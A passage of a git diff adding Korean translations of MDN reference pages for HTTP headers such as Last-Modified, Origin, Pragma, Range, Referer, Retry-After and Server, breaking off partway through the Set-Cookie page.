+<p>Keep-Alive 헤더를 포함하는 응답:</p>
+
+<pre>HTTP/1.1 200 OK
+<strong>Connection: Keep-Alive</strong>
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Thu, 11 Aug 2016 15:23:13 GMT
+<strong>Keep-Alive: timeout=5, max=1000</strong>
+Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
+Server: Apache
+
+(body)</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td><a href="https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html#rfc.section.2">HyperText Transport Protocol Keep-Alive Header</a></td>
+ <td>The Keep-Alive Header (Experimental specification)</td>
+ </tr>
+ <tr>
+ <td>{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Connection")}}</li>
+ <li><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/last-modified/index.html b/files/ko/web/http/headers/last-modified/index.html
new file mode 100644
index 0000000000..88f1da62bd
--- /dev/null
+++ b/files/ko/web/http/headers/last-modified/index.html
@@ -0,0 +1,92 @@
+---
+title: Last-Modified
+slug: Web/HTTP/Headers/Last-Modified
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 응답 헤더
+ - 참고자료
+translation_of: Web/HTTP/Headers/Last-Modified
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Last-Modified</strong></code> 응답은 HTTP 헤더에 서버가 알고있는 가장 마지막 수정된 날짜와 시각을 담고 있습니다. 이는 저장된 리소스가 이전과 같은지 유효성 검사자로 사용됩니다. {{HTTPHeader("ETag")}} 헤더보다는 덜 정확하지만, 이는 대비책으로 사용됩니다. 조건 요청은 {{HTTPHeader("If-Modified-Since")}} 또는 {{HTTPHeader("If-Unmodified-Since")}} 헤더로 이와 같은 필드를 사용하여 만들어집니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>예</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Last-Modified: &lt;day-name&gt;, &lt;day&gt; &lt;month&gt; &lt;year&gt; &lt;hour&gt;:&lt;minute&gt;:&lt;second&gt; GMT
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;day-name&gt;</dt>
+ <dd>"Mon", "Tue", "Wed", "Thu", "Fri", "Sat", 또는 "Sun" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;day&gt;</dt>
+ <dd>2 숫자의 날짜, 예: "04" 또는 "23".</dd>
+ <dt>&lt;month&gt;</dt>
+ <dd>"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" 중 하나(대소문자 구분).</dd>
+ <dt>&lt;year&gt;</dt>
+ <dd>4 숫자의 연도, 예: "1990" 또는 "2016".</dd>
+ <dt>&lt;hour&gt;</dt>
+ <dd>2 숫자의 시간, 예: "09" 또는 "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>2 숫자의 분, 예: "04" 또는 "59.</dd>
+ <dt>&lt;second&gt;</dt>
+ <dd>2 숫자의 초, 예: "04" 또는 "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>그리니치 표준시. HTTP 날짜는 현지 시각이 아닌, 언제나 GMT로 표현합니다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "Last-Modified", "2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Last-Modified")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("Etag")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/origin/index.html b/files/ko/web/http/headers/origin/index.html
new file mode 100644
index 0000000000..403fb63450
--- /dev/null
+++ b/files/ko/web/http/headers/origin/index.html
@@ -0,0 +1,88 @@
+---
+title: Origin
+slug: Web/HTTP/Headers/Origin
+tags:
+ - HTTP
+ - Reference
+ - Request header
+ - header
+ - origin
+ - 헤더
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Origin</code></strong> request 헤더는 fetch가 시작되는 위치입니다. 경로 정보는 포함하지 않고 서버 이름만 포함합니다. {{HTTPMethod("POST")}} requests에 포함되는 것처럼, {{Glossary("CORS")}} requests 와 함께 전송합니다. {{HTTPHeader("Referer")}} 헤더와 비슷하지만, origin 헤더는 전체 경로를 공개하지 않습니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>주의</strong>: {{HTTPMethod("HEAD")}} 와 {{HTTPMethod("GET")}} 메서드를 통해 <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch requests</a>를 사용할 때 {{httpheader("Origin")}} 헤더가 설정되지 않았습니다. (이 문제는 파이어폭스 65에서 수정되었습니다 — {{bug(1508661)}}참조).</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Origin: null
+Origin: &lt;scheme&gt; "://" &lt;hostname&gt; [ ":" &lt;port&gt; ]
+</pre>
+
+<h2 id="지시">지시</h2>
+
+<dl>
+ <dt>&lt;scheme&gt;</dt>
+ <dd>사용하는 프로토콜. 일반적으로 HTTP 프로토콜 혹은 보안 버전인 HTTPS를 사용합니다.</dd>
+ <dt>&lt;hostname&gt;</dt>
+ <dd>서버(가상 호스팅)의 이름 또는 IP 입니다.</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>서버와 연결을 맺기 위한 TCP 포트 번호. 포트번호를 입력하지 않으면, 요청한 서비스의 기본 포트(HTTP의 경우 "80")가 사용됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("6454", "Origin", "7")}}</td>
+ <td>The Web Origin Concept</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+ <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_적합성">브라우저 적합성</h2>
+
+
+
+<div>{{Compat("http.headers.Origin")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ko/web/http/headers/pragma/index.html b/files/ko/web/http/headers/pragma/index.html
new file mode 100644
index 0000000000..28036125f0
--- /dev/null
+++ b/files/ko/web/http/headers/pragma/index.html
@@ -0,0 +1,84 @@
+---
+title: Pragma
+slug: Web/HTTP/Headers/Pragma
+tags:
+ - Deprecated
+ - HTTP
+ - 삭제됨
+ - 요청
+ - 캐싱
+ - 헤더
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP/1.0 의 <code><strong>Pragma</strong></code>  헤더는 요청-응답 체인에 다양한 영향을 줄 수 있는 구현관련 헤더이다. 이것은 HTTP/1.0 버전에서 HTTP/1.1 버전의 <code>Cache-Control</code> 헤더가 생기기 전 그것과 동일한 역할을 하는 대용 헤더로 사용되었다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>Pragma</code> 는 HTTP 응답에서 명시되지 않았던 헤더여서 일반적인  HTTP/1.1 의 <code>Cache-Control</code> 헤더의 신뢰할만한 대체재로 사용될수는 없다.  비록 그것이 응답에서  <code>Cache-Control</code> 헤더가 생략되었을 시, <code>Cache-Control: no-cache</code> 와 동일하게 효과를 주긴 하지만 말이다. <code>Pragma</code> 헤더는 HTTP/1.0  를 사용하는 클라이언트들만을 위한 비공식적인 호환성을 위해서 사용하는것이 옳다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}, 그러나 응답 동작은 정해지지 않아서 구현 방식에 따른다.</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아님</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>맞음</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p> <code>Cache-Control: no-cache</code> 와 같다. 캐시가 캐시 복사본을 릴리즈 하기전에 원격 서버로 요청을 날려 유효성 검사를 강제하도록 한다.</p>
+ </dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="세부사항">세부사항</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 테이블은 특정하게 구조화된 데이터를 기반으로 만들어졌다. 당신이 만일 이 데이터에 기여하고 싶다면 아래의 링크를 따라가 우리에게 Pull Request 를 보내면 된다.</p>
+
+<p class="hidden"><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a></p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="그외_볼것들">그외 볼것들</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/range/index.html b/files/ko/web/http/headers/range/index.html
new file mode 100644
index 0000000000..ec9ba33c81
--- /dev/null
+++ b/files/ko/web/http/headers/range/index.html
@@ -0,0 +1,84 @@
+---
+title: Range
+slug: Web/HTTP/Headers/Range
+tags:
+ - HTTP
+ - HTTP 헤더
+ - 범위 요청
+ - 요청 헤더
+ - 참고사항
+translation_of: Web/HTTP/Headers/Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Range</code> </strong>HTTP 요청 헤더는 서버에게 문서의 일부분만 돌려주어야 한다는 것을 알려줍니다. <code>Range</code> 헤더를 통해 여러 부분을 한번에 요청할 수 있으며, 서버는 이러한 범위에 대해 문서의 여러 부분을 돌려보내줄 것입니다. 만약 서버가 돌려 보낸다면, {{HTTPStatus("206")}} <code>Partial Content</code>를 응답으로 사용할 것입니다. 만약 범위가 유효하지 않다면, 서버는 {{HTTPStatus("416")}} <code>Range Not Satisfiable</code> 에러를 보낼 것입니다. 또한 서버는 <code>Range</code> 헤더를 무시하고 {{HTTPStatus("200")}} 상태 코드와 함께 전체 문서를 돌려줄 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Range: &lt;unit&gt;=&lt;range-start&gt;-
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;
+Range: &lt;unit&gt;=&lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;, &lt;range-start&gt;-&lt;range-end&gt;</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;unit&gt;</dt>
+ <dd>범위를 결정하는 단위. 보통 <code>bytes</code>.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;range-start&gt;</dt>
+ <dd>범위 요청의 시작 지점을 알리는 단위를 뜻하는 정수.</dd>
+ <dt>&lt;range-end&gt;</dt>
+ <dd>요청한 범위의 끝을 알리는 단위를 의미하는 정수. 이 값은 옵션으로 사용할 수 있으며, 생략한다면 문서의 끝부분을 요청의 끝으로 사용함.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Range: bytes=200-1000, 2000-6576, 19000-
+</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Range", "3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Range")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ko/web/http/headers/referer/index.html b/files/ko/web/http/headers/referer/index.html
new file mode 100644
index 0000000000..9d66b4fa78
--- /dev/null
+++ b/files/ko/web/http/headers/referer/index.html
@@ -0,0 +1,79 @@
+---
+title: Referer
+slug: Web/HTTP/Headers/Referer
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Referer</strong></code> 요청 헤더는 현재 요청된 페이지의 링크 이전의 웹 페이지 주소를 포함합니다. <code>Referer</code> 헤더는 사람들이 어디로부터 와서 방문 중인지를 인식할 수 있도록 해주며 해당 데이터는 예를 들어, 분석, 로깅, 혹은 캐싱 최적화에 사용될 수도 있습니다.</p>
+
+<p>referer는 실제로 단어 "referrer"에서 철자를 빼먹은 것입니다. 자세한 내용은 {{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}을 참고하세요.</p>
+
+<div class="warning">
+<p><code>Referer</code> 헤더는 사생활과 관련된 브라우징 히스토리에 관한 정보를 노출할 가능성이 있습니다.</p>
+</div>
+
+<p><code>Referer</code> 헤더는 다음과 같은 경우 브라우저에 의해 전송되지 않습니다:</p>
+
+<ul>
+ <li>참조되는 리소스가 로컬 "파일" 혹은 "데이터"의 URI인 경우,</li>
+ <li>
+ <p>안전하지 않은 HTTP 요청이 사용되고 참조 페이지가 보안 프로토콜(HTTPS)로 수신된 경우.</p>
+ </li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>현재 요청된 페이지의 링크 이전의 웹 페이지의 절대 혹은 부분 주소. URL 프래그먼트(예를 들어, "#section")는 포함되지 않습니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/retry-after/index.html b/files/ko/web/http/headers/retry-after/index.html
new file mode 100644
index 0000000000..111031be3b
--- /dev/null
+++ b/files/ko/web/http/headers/retry-after/index.html
@@ -0,0 +1,80 @@
+---
+title: Retry-After
+slug: Web/HTTP/Headers/Retry-After
+translation_of: Web/HTTP/Headers/Retry-After
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Retry-After</code></strong> 응답 HTTP 헤더는 다음에 올 요청이 이루어지기 전에 사용자 에이전트가 대기해야 하는 시간을 가르킵니다. 이 헤더가 사용되는 주요한 두 가지 경우가 있습니다:</p>
+
+<ul>
+ <li>{{HTTPStatus(503)}} (Service Unavailable) 응답이 전송된 경우, 서비스가 얼마나 오랫동안 이용 불가능한지 예측되는 시간을 가르킵니다.</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)와 같은, 리다이렉트 응답이 전송된 경우, 리다이렉트 요청을 하기 이전에 사용자 에이전트가 대기해주길 원하는 최소한의 시간을 가르킵니다.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Retry-After: &lt;http-date&gt;
+Retry-After: &lt;delay-seconds&gt;
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>해당 시간 이후 재시도하도록 합니다. HTTP 날짜 포맷에 과한 더 자세한 내용은 {{HTTPHeader("Date")}} 헤더를 참고하시기 바랍니다.</dd>
+ <dt>&lt;delay-seconds&gt;</dt>
+ <dd>응답이 수신된 이후 지연시키기 위한 초를 가르키는 음수를 불허하는 10진수 정수값입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="예정된_다운타임_다루기">예정된 다운타임 다루기</h3>
+
+<p>클라이언트와 서버 양측의 <code>Retry-After</code> 헤더 지원은 여전히 부조화스럽습니다. 하지만, Googlebot과 같은, 어떤 크롤러와 스파이더들은 <code>Retry-After</code> 헤더를 지킵니다. 검색 엔진이 다운타임이 경과한 경우 당신의 사이트에 대한 인덱싱을 유지할 것이기에, {{HTTPStatus(503)}} (Service Unavailable) 응답에서 해당 헤더를 함께 보내는 것은 유용합니다.</p>
+
+<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
+Retry-After: 120
+</pre>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li><a href="https://webmasters.googleblog.com/2011/01/how-to-deal-with-planned-site-downtime.html">Google Webmaster blog: How to deal with planned site downtime</a></li>
+ <li>{{HTTPStatus(503)}} (Service Unavailable)</li>
+ <li>{{HTTPStatus(301)}} (Moved Permanently)</li>
+</ul>
diff --git a/files/ko/web/http/headers/server/index.html b/files/ko/web/http/headers/server/index.html
new file mode 100644
index 0000000000..b1271dd3b2
--- /dev/null
+++ b/files/ko/web/http/headers/server/index.html
@@ -0,0 +1,70 @@
+---
+title: Server
+slug: Web/HTTP/Headers/Server
+tags:
+ - HTTP
+ - 참고자료
+ - 헤더
+translation_of: Web/HTTP/Headers/Server
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>Server</strong></code> 헤더는 요청을 처리하기 위한 원(origin, 原) 서버의 소프트웨어 정보를 포함하고 있습니다.</p>
+
+<p>너무 길고 상세한 서버의 정보는 잠재적으로 내부 구현과 상세 정보를 이용하여 잠재적으로 공격을 받을 수 있기 때문에 피해야 합니다. 공격자들은 (약간) 쉽게 알려진 보안상의 문제점을 찾고 터트릴 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">헤더 타입</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>아니오</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Server: &lt;product&gt;
+</pre>
+
+<h2 id="지시자">지시자</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>요청을 처리하는 소프트웨어 혹은 하위 제품의 이름</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre>Server: Apache/2.4.1 (Unix)</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Server", "7.4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Server")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/ko/web/http/headers/set-cookie/index.html b/files/ko/web/http/headers/set-cookie/index.html
new file mode 100644
index 0000000000..27ffb134fb
--- /dev/null
+++ b/files/ko/web/http/headers/set-cookie/index.html
@@ -0,0 +1,161 @@
+---
+title: Set-Cookie
+slug: Web/HTTP/Headers/Set-Cookie
+tags:
+ - HTTP
+ - 레퍼런스
+ - 응답
+ - 쿠키
+ - 헤더
+translation_of: Web/HTTP/Headers/Set-Cookie
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Set-Cookie</code></strong> HTTP 응답 헤더는 서버에서 사용자 브라우저에 쿠키를 전송하기 위해 사용됩니다.</p>
+
+<p>자세한 정보를 보려면 <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a>에 수록된 가이드를 읽으세요.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Expires=&lt;date&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Max-Age=&lt;non-zero-digit&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Path=&lt;path-value&gt;
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Secure
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; HttpOnly
+
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Strict
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; SameSite=Lax
+
+// Multiple directives are also possible, for example:
+Set-Cookie: &lt;cookie-name&gt;=&lt;cookie-value&gt;; Domain=&lt;domain-value&gt;; Secure; HttpOnly
+</pre>
+
+<h2 id="디렉티브">디렉티브</h2>
+
+<dl>
+ <dt><code>&lt;cookie-name&gt;=&lt;cookie-value&gt;</code></dt>
+ <dd>쿠키는 "이름-값" 페어로 시작됩니다.
+ <ul>
+ <li><code>&lt;cookie-name&gt;</code> 는 제어 문자 및 공백, 탭(\t)를 제외한 아스키 문자로 구성되어야 합니다. 또한, "( ) &lt; &gt; @ , ; : \ " /  [ ] ? = { }" 같은 문자도 포함할 수 없습니다.</li>
+ <li>A <code>&lt;cookie-value&gt;</code> 는 필요하다면 쌍 따운표로 묶여질 수 있고 아스키 코드 문자로 구성되어야 하고, <code>&lt;cookie-name&gt;</code>처럼 제어 문자, 공백, 쌍 따운표, 콤마, 세미콜론, 역 슬래쉬(\)는 사용할 수 없습니다. <strong>엔코딩</strong>: 쿠기 값에 대해서 URL 엔코딩을 사용하는 구현 기법들이 많지만, RFC 명세에서 요구하는 것은 아닙니다. 단지, &lt;cookie-value&gt;에 허용된 문자에 대한 요구사항을 만족시킬 뿐이죠.</li>
+ <li><strong><code>__Secure-</code> 프리픽스</strong>:<code> __Secure-</code> (대쉬는 프리픽스의 일부입니다)로 시작되는 쿠키 이름은 반드시 <code>secure</code> 플래그가 설정되어야 하고, 보안 페이지(HTTPS)여야 합니다.</li>
+ <li><strong><code>__Host-</code> 프리픽스</strong>: <code>__Host-</code> 로 시작되는 쿠키들은 <code>secure</code> 플래그가 설정되어야 하며, 마찬가지로 보안 페이지(HTTPS)여야 하고, 도메인이 지정되지 않아야 합니다. (따라서 서브 도메인에 쿠키를 공유할 수 없습니다) 그리고, 경로는 반드시 "/"여야 합니다.</li>
+ </ul>
+ </dd>
+ <dt>Expires=&lt;date&gt; {{optional_inline}}</dt>
+ <dd>
+ <p>HTTP 타임스템프로 기록된 쿠키의 최대 생존 시간(수명). 세부 형태를 확인하려면 {{HTTPHeader("Date")}}를 참조하세요. 지정되지 않았다면, <strong>세션 쿠키</strong>로서 취급되며, 클라이언트가 종료될 때 파기 됩니다. 그러나 많은 웹 브라우져에서 세션이라고 불리는 기능(그러니까 모든 탭을 기억했다가 브라우져를 다시 켜면 복구된다던지 하는 기능)을 구현합니다. 쿠키들 또한 함께 복원되므로, 정확히 말해서 브라우져를 닫은 적이 없는 게 되는 것이죠.</p>
+
+ <p>만료 시간이 지정되면, 시간 및 날자로 이뤄진 값은 서버가 아니라 클라이언트에 상대적인 값으로 취급됩니다.</p>
+ </dd>
+ <dt>Max-Age=&lt;number&gt; {{optional_inline}}</dt>
